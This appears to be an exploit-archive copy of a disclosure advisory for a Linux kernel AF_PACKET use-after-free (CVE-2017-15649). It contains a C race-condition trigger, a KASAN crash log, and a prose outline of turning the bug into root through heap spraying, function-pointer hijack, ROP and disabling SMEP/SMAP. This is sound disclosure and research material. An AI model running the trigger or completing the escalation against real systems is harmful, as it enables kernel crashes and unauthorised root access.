Menu

Search for hundreds of thousands of exploits

"Linux Kernel - 'AF_PACKET' Use-After-Free"

Author

Exploit author

SecuriTeam

Platform

Exploit platform

linux

Release date

Exploit published date

2017-10-17

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
## Vulnerabilities summary
The following advisory describes a use-after-free vulnerability found in Linux Kernels implementation of AF_PACKET that can lead to privilege escalation.

AF_PACKET sockets allow users to send or receive packets on the device driver level. This for example lets them to implement their own protocol on top of the physical layer or to sniff packets including Ethernet and higher levels protocol headers

## Credit
The vulnerability was discovered by an independent security researcher which reported this vulnerabilities to Beyond Securitys SecuriTeam Secure Disclosure program.

## Vendor response
Update 1
CVE: CVE-2017-15649

It is quite likely that this is already fixed by:
packet: hold bind lock when rebinding to fanout hook  http://patchwork.ozlabs.org/patch/813945/

Also relevant, but not yet merged is
packet: in packet_do_bind, test fanout with bind_lock held  http://patchwork.ozlabs.org/patch/818726/

We verified that this does not trigger on v4.14-rc2, but does trigger when reverting that first mentioned commit (008ba2a13f2d).

## Vulnerabilities details

This use-after-free is due to a race condition between fanout_add (from setsockopt) and bind on a AF_PACKET socket.

The race will cause __unregister_prot_hook() from packet_do_bind() to set po->running to 0 even though a packet_fanout has been created from fanout_add().

This allows us to bypass the check in unregister_prot_hook() from packet_release() effectively causing the packet_fanout to be released and still being referenced from the packet_type linked list.

## Crash Proof of Concept

``
// Please note, to have KASAN report the UAF, you need to enable it when compiling the kernel.
// the kernel config is provided too.

#define _GNU_SOURCE

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <net/if.h>
#include <pthread.h>
#include <sys/utsname.h>
#include <sched.h>
#include <stdarg.h>
#include <stdbool.h>
#include <sys/stat.h>
#include <fcntl.h>

#define IS_ERR(c, s) { if (c) perror(s); }

struct sockaddr_ll {
    unsigned short  sll_family;
    short       sll_protocol; // big endian
    int     sll_ifindex;
    unsigned short  sll_hatype;
    unsigned char   sll_pkttype;
    unsigned char   sll_halen;
    unsigned char   sll_addr[8];
};

static int fd;
static struct ifreq ifr;
static struct sockaddr_ll addr;

void *task1(void *unused)
{   
    int fanout_val = 0x3;

    // need race: check on po->running
    // also must be 1st or link wont register
    int err = setsockopt(fd, 0x107, 18, &fanout_val, sizeof(fanout_val));
    // IS_ERR(err == -1, "setsockopt"); 
}

void *task2(void *unused)
{
    int err = bind(fd, (struct sockaddr *)&addr, sizeof(addr));
    // IS_ERR(err == -1, "bind");
}

void loop_race()
{
    int err, index;

    while(1) {
        fd = socket(AF_PACKET, SOCK_RAW, PF_PACKET);
        IS_ERR(fd == -1, "socket");

        strcpy((char *)&ifr.ifr_name, "lo");
        err = ioctl(fd, SIOCGIFINDEX, &ifr);
        IS_ERR(err == -1, "ioctl SIOCGIFINDEX");
        index = ifr.ifr_ifindex;

        err = ioctl(fd, SIOCGIFFLAGS, &ifr);
        IS_ERR(err == -1, "ioctl SIOCGIFFLAGS");

        ifr.ifr_flags &= ~(short)IFF_UP;
        err = ioctl(fd, SIOCSIFFLAGS, &ifr);
        IS_ERR(err == -1, "ioctl SIOCSIFFLAGS");

        addr.sll_family = AF_PACKET;
        addr.sll_protocol = 0x0; // need something different to rehook && 0 to skip register_prot_hook
        addr.sll_ifindex = index;

        pthread_t thread1, thread2;
        pthread_create (&thread1, NULL, task1, NULL);
        pthread_create (&thread2, NULL, task2, NULL);

        pthread_join(thread1, NULL);
        pthread_join(thread2, NULL);

        // UAF
        close(fd); 
    }
}

static bool write_file(const char* file, const char* what, ...) {
    char buf[1024];
    va_list args;
    va_start(args, what);
    vsnprintf(buf, sizeof(buf), what, args);
    va_end(args);
    buf[sizeof(buf) - 1] = 0;
    int len = strlen(buf);

    int fd = open(file, O_WRONLY | O_CLOEXEC);
    if (fd == -1)
        return false;
    if (write(fd, buf, len) != len) {
        close(fd);
        return false;
    }
    close(fd);
    return true;
}

void setup_sandbox() {
    int real_uid = getuid();
    int real_gid = getgid();

    if (unshare(CLONE_NEWUSER) != 0) {
        printf("[!] unprivileged user namespaces are not available\n");
        perror("[-] unshare(CLONE_NEWUSER)");
        exit(EXIT_FAILURE);
    }
    if (unshare(CLONE_NEWNET) != 0) {
        perror("[-] unshare(CLONE_NEWUSER)");
        exit(EXIT_FAILURE);
    }

    if (!write_file("/proc/self/setgroups", "deny")) {
        perror("[-] write_file(/proc/self/set_groups)");
        exit(EXIT_FAILURE);
    }
    if (!write_file("/proc/self/uid_map", "0 %d 1\n", real_uid)) {
        perror("[-] write_file(/proc/self/uid_map)");
        exit(EXIT_FAILURE);
    }
    if (!write_file("/proc/self/gid_map", "0 %d 1\n", real_gid)) {
        perror("[-] write_file(/proc/self/gid_map)");
        exit(EXIT_FAILURE);
    }
}

int main(int argc, char *argv[]) 
{
    setup_sandbox();
    system("id; capsh --print");
    loop_race();    
    return 0;
}
``

## Crash report

```
[   73.703931] dev_remove_pack: ffff880067cee280 not found
[   73.717350] ==================================================================
[   73.726151] BUG: KASAN: use-after-free in dev_add_pack+0x1b1/0x1f0
[   73.729371] Write of size 8 at addr ffff880067d28870 by task poc/1175
[   73.732594] 
[   73.733605] CPU: 3 PID: 1175 Comm: poc Not tainted 4.14.0-rc1+ #29
[   73.737714] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.10.1-1ubuntu1 04/01/2014
[   73.746433] Call Trace:
[   73.747985]  dump_stack+0x6c/0x9c
[   73.749410]  ? dev_add_pack+0x1b1/0x1f0
[   73.751622]  print_address_description+0x73/0x290
[   73.753646]  ? dev_add_pack+0x1b1/0x1f0
[   73.757343]  kasan_report+0x22b/0x340
[   73.758839]  __asan_report_store8_noabort+0x17/0x20
[   73.760617]  dev_add_pack+0x1b1/0x1f0
[   73.761994]  register_prot_hook.part.52+0x90/0xa0
[   73.763675]  packet_create+0x5e3/0x8c0
[   73.765072]  __sock_create+0x1d0/0x440
[   73.766030]  SyS_socket+0xef/0x1b0
[   73.766891]  ? move_addr_to_kernel+0x60/0x60
[   73.769137]  ? exit_to_usermode_loop+0x118/0x150
[   73.771668]  entry_SYSCALL_64_fastpath+0x13/0x94
[   73.773754] RIP: 0033:0x44d8a7
[   73.775130] RSP: 002b:00007ffc4e642818 EFLAGS: 00000217 ORIG_RAX: 0000000000000029
[   73.780503] RAX: ffffffffffffffda RBX: 00000000004002f8 RCX: 000000000044d8a7
[   73.785654] RDX: 0000000000000011 RSI: 0000000000000003 RDI: 0000000000000011
[   73.790358] RBP: 00007ffc4e642840 R08: 00000000000000ca R09: 00007f4192e6e9d0
[   73.793544] R10: 0000000000000000 R11: 0000000000000217 R12: 000000000040b410
[   73.795999] R13: 000000000040b4a0 R14: 0000000000000000 R15: 0000000000000000
[   73.798567] 
[   73.799095] Allocated by task 1360:
[   73.800300]  save_stack_trace+0x16/0x20
[   73.802533]  save_stack+0x46/0xd0
[   73.803959]  kasan_kmalloc+0xad/0xe0
[   73.805833]  kmem_cache_alloc_trace+0xd7/0x190
[   73.808233]  packet_setsockopt+0x1d29/0x25c0
[   73.810226]  SyS_setsockopt+0x158/0x240
[   73.811957]  entry_SYSCALL_64_fastpath+0x13/0x94
[   73.814636] 
[   73.815367] Freed by task 1175:
[   73.816935]  save_stack_trace+0x16/0x20
[   73.821621]  save_stack+0x46/0xd0
[   73.825576]  kasan_slab_free+0x72/0xc0
[   73.827477]  kfree+0x91/0x190
[   73.828523]  packet_release+0x700/0xbd0
[   73.830162]  sock_release+0x8d/0x1d0
[   73.831612]  sock_close+0x16/0x20
[   73.832906]  __fput+0x276/0x6d0
[   73.834730]  ____fput+0x15/0x20
[   73.835998]  task_work_run+0x121/0x190
[   73.837564]  exit_to_usermode_loop+0x131/0x150
[   73.838709]  syscall_return_slowpath+0x15c/0x1a0
[   73.840403]  entry_SYSCALL_64_fastpath+0x92/0x94
[   73.842343] 
[   73.842765] The buggy address belongs to the object at ffff880067d28000
[   73.842765]  which belongs to the cache kmalloc-4096 of size 4096
[   73.845897] The buggy address is located 2160 bytes inside of
[   73.845897]  4096-byte region [ffff880067d28000, ffff880067d29000)
[   73.851443] The buggy address belongs to the page:
[   73.852989] page:ffffea00019f4a00 count:1 mapcount:0 mapping:          (null) index:0x0 compound_mapcount: 0
[   73.861329] flags: 0x100000000008100(slab|head)
[   73.862992] raw: 0100000000008100 0000000000000000 0000000000000000 0000000180070007
[   73.866052] raw: dead000000000100 dead000000000200 ffff88006cc02f00 0000000000000000
[   73.870617] page dumped because: kasan: bad access detected
[   73.872456] 
[   73.872851] Memory state around the buggy address:
[   73.874057]  ffff880067d28700: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
[   73.876931]  ffff880067d28780: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
[   73.878913] >ffff880067d28800: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
[   73.880658]                                                              ^
[   73.884772]  ffff880067d28880: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
[   73.890978]  ffff880067d28900: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
[   73.897763] ==================================================================
```

We know that the freed object is a kmalloc-4096 object:


```
struct packet_fanout {
    possible_net_t      net;
    unsigned int        num_members;
    u16         id;
    u8          type;
    u8          flags;
    union {
        atomic_t        rr_cur;
        struct bpf_prog __rcu   *bpf_prog;
    };
    struct list_head    list;
    struct sock     *arr[PACKET_FANOUT_MAX];
    spinlock_t      lock;
    refcount_t      sk_ref;
    struct packet_type  prot_hook ____cacheline_aligned_in_smp;
};
```

and that its prot_hook member is the one being referenced in the packet handler when registered via dev_add_pack() from register_prot_hook() inside af_packet.c:


```
struct packet_type {
    __be16          type;   /* This is really htons(ether_type). */
    struct net_device   *dev;   /* NULL is wildcarded here       */
    int         (*func) (struct sk_buff *,
                     struct net_device *,
                     struct packet_type *,
                     struct net_device *);
    bool            (*id_match)(struct packet_type *ptype,
                        struct sock *sk);
    void            *af_packet_priv;
    struct list_head    list;
};
```

The function pointers inside of struct packet_type, and the fact it is in a big slab (kmalloc-4096) makes heap spraying easier and more reliable as bigger slabs are less often used by the kernel.

We can use usual kernel heap spraying to replace the content of the freed packet_fanout object by using for example sendmmsg() or any other mean.

Even if the allocation is not permanent, it will still replace the targeted content in packet_fanout (ie. the function pointers) and due to the fact that kmalloc-4096 is very stable, it is very less likely that another allocation will corrupt our payload.

id_match() will be called when sending a skb via dev_queue_xmit() which can be reached via a sendmsg on a AF_PACKET socket. It will loop through the list of packet handler calling id_match() if not NULL. Thus, we have a PC control situation.

Once we know where the code section of the kernel is, we can pivot the kernel stack into our fake packet_fanout object and ROP. The first argument ptype contains the address of the prot_hook member of our fake object, which allows us to know where to pivot.

Once into ROP, we can jump into native_write_c4(x) to disable SMEP/SMAP, and then we could think about jumping back into a userland mmaped executable payload that would call commit_creds(prepare_kernel_cred(0)) to elevate our user process privilege to root.
Release Date Title Type Platform Author
2020-12-02 "aSc TimeTables 2021.6.2 - Denial of Service (PoC)" local windows "Ismael Nava"
2020-12-02 "Anuko Time Tracker 1.19.23.5311 - No rate Limit on Password Reset functionality" webapps php "Mufaddal Masalawala"
2020-12-02 "Ksix Zigbee Devices - Playback Protection Bypass (PoC)" remote multiple "Alejandro Vazquez Vazquez"
2020-12-02 "Mitel mitel-cs018 - Call Data Information Disclosure" remote linux "Andrea Intilangelo"
2020-12-02 "Artworks Gallery 1.0 - Arbitrary File Upload RCE (Authenticated) via Edit Profile" webapps multiple "Shahrukh Iqbal Mirza"
2020-12-02 "ChurchCRM 4.2.1 - Persistent Cross Site Scripting (XSS)" webapps multiple "Mufaddal Masalawala"
2020-12-02 "DotCMS 20.11 - Stored Cross-Site Scripting" webapps multiple "Hardik Solanki"
2020-12-02 "ChurchCRM 4.2.0 - CSV/Formula Injection" webapps multiple "Mufaddal Masalawala"
2020-12-02 "NewsLister - Authenticated Persistent Cross-Site Scripting" webapps multiple "Emre Aslan"
2020-12-02 "IDT PC Audio 1.0.6433.0 - 'STacSV' Unquoted Service Path" local windows "Manuel Alvarez"
Release Date Title Type Platform Author
2020-12-02 "Mitel mitel-cs018 - Call Data Information Disclosure" remote linux "Andrea Intilangelo"
2020-11-27 "libupnp 1.6.18 - Stack-based buffer overflow (DoS)" dos linux "Patrik Lantz"
2020-11-24 "ZeroShell 3.9.0 - 'cgi-bin/kerbynet' Remote Root Command Injection (Metasploit)" webapps linux "Giuseppe Fuggiano"
2020-10-28 "aptdaemon < 1.1.1 - File Existence Disclosure" local linux "Vaisha Bernard"
2020-10-28 "Blueman < 2.1.4 - Local Privilege Escalation" local linux "Vaisha Bernard"
2020-10-28 "Oracle Business Intelligence Enterprise Edition 5.5.0.0.0 / 12.2.1.3.0 / 12.2.1.4.0 - 'getPreviewImage' Directory Traversal/Local File Inclusion" webapps linux "Ivo Palazzolo"
2020-10-28 "PackageKit < 1.1.13 - File Existence Disclosure" local linux "Vaisha Bernard"
2020-09-11 "Gnome Fonts Viewer 3.34.0 - Heap Corruption" local linux "Cody Winkler"
2020-07-10 "Aruba ClearPass Policy Manager 6.7.0 - Unauthenticated Remote Command Execution" remote linux SpicyItalian
2020-07-06 "Grafana 7.0.1 - Denial of Service (PoC)" dos linux mostwanted002
Release Date Title Type Platform Author
2018-10-04 "Cisco Prime Infrastructure - Unauthenticated Remote Code Execution" remote multiple SecuriTeam
2018-04-30 "Linux Kernel < 4.17-rc1 - 'AF_LLC' Double Free" dos linux SecuriTeam
2018-01-30 "Hotspot Shield - Information Disclosure" local windows SecuriTeam
2018-01-29 "iBall WRA150N - Multiple Vulnerabilities" webapps hardware SecuriTeam
2018-01-24 "Oracle VirtualBox < 5.1.30 / < 5.2-rc1 - Guest to Host Escape" local multiple SecuriTeam
2018-01-15 "GitStack - Remote Code Execution" webapps php SecuriTeam
2018-01-11 "Seagate Personal Cloud - Multiple Vulnerabilities" remote hardware SecuriTeam
2017-12-26 "Trustwave SWG 11.8.0.27 - SSH Unauthorized Access" remote linux SecuriTeam
2017-12-19 "Ichano AtHome IP Cameras - Multiple Vulnerabilities" remote hardware SecuriTeam
2017-12-13 "vBulletin 5 - 'cacheTemplates' Remote Arbitrary File Deletion" webapps multiple SecuriTeam
2017-12-13 "vBulletin 5 - 'routestring' Remote Code Execution" webapps multiple SecuriTeam
2017-12-06 "Dasan Networks GPON ONT WiFi Router H640X 12.02-01121 / 2.77p1-1124 / 3.03p2-1146 - Remote Code Execution" webapps hardware SecuriTeam
2017-11-28 "Synology StorageManager 5.2 - Root Remote Command Execution" webapps cgi SecuriTeam
2017-11-23 "Linux Kernel (Ubuntu 17.04) - 'XFRM' Local Privilege Escalation" local linux SecuriTeam
2017-11-21 "DblTek - Multiple Vulnerabilities" webapps linux SecuriTeam
2017-11-07 "Ametys CMS 4.0.2 - Password Reset" webapps php SecuriTeam
2017-11-03 "GraphicsMagick - Memory Disclosure / Heap Overflow" dos multiple SecuriTeam
2017-11-01 "Cisco UCS Platform Emulator 3.1(2ePE1) - Remote Code Execution" remote linux SecuriTeam
2017-10-23 "K7 Total Security 15.1.0.305 - Device Driver Arbitrary Memory Read" dos windows SecuriTeam
2017-10-17 "Linux Kernel - 'AF_PACKET' Use-After-Free" dos linux SecuriTeam
2017-10-17 "Linux Kernel - 'AF_PACKET' Use-After-Free" dos linux SecuriTeam
2017-10-16 "Ikraus Anti Virus 2.16.7 - Remote Code Execution" remote windows SecuriTeam
2017-10-13 "FiberHome - Directory Traversal" webapps linux SecuriTeam
2017-10-09 "QNAP HelpDesk < 1.1.12 - SQL Injection" webapps php SecuriTeam
2017-10-09 "PHP Melody 2.7.3 - Multiple Vulnerabilities" webapps php SecuriTeam
2017-09-11 "Hanbanggaoke IP Camera - Arbitrary Password Change" webapps hardware SecuriTeam
2017-09-07 "McAfee LiveSafe 16.0.3 - Man In The Middle Registry Modification Leading to Remote Command Execution" webapps hardware SecuriTeam
2017-08-30 "Oracle Java JDK/JRE < 1.8.0.131 / Apache Xerces 2.11.0 - 'PDF/Docx' Server Side Denial of Service" dos php SecuriTeam
2017-08-03 "Dashlane - DLL Hijacking" local windows SecuriTeam
2017-08-03 "Tiandy IP Cameras 5.56.17.120 - Sensitive Information Disclosure" webapps hardware SecuriTeam
import requests
response = requests.get('http://127.0.0.1:8181?format=json')

For full documentation follow the link above

Cipherscan. Find out which SSL ciphersuites are supported by a target.

Identify and fingerprint Web Application Firewall (WAF) products protecting a website.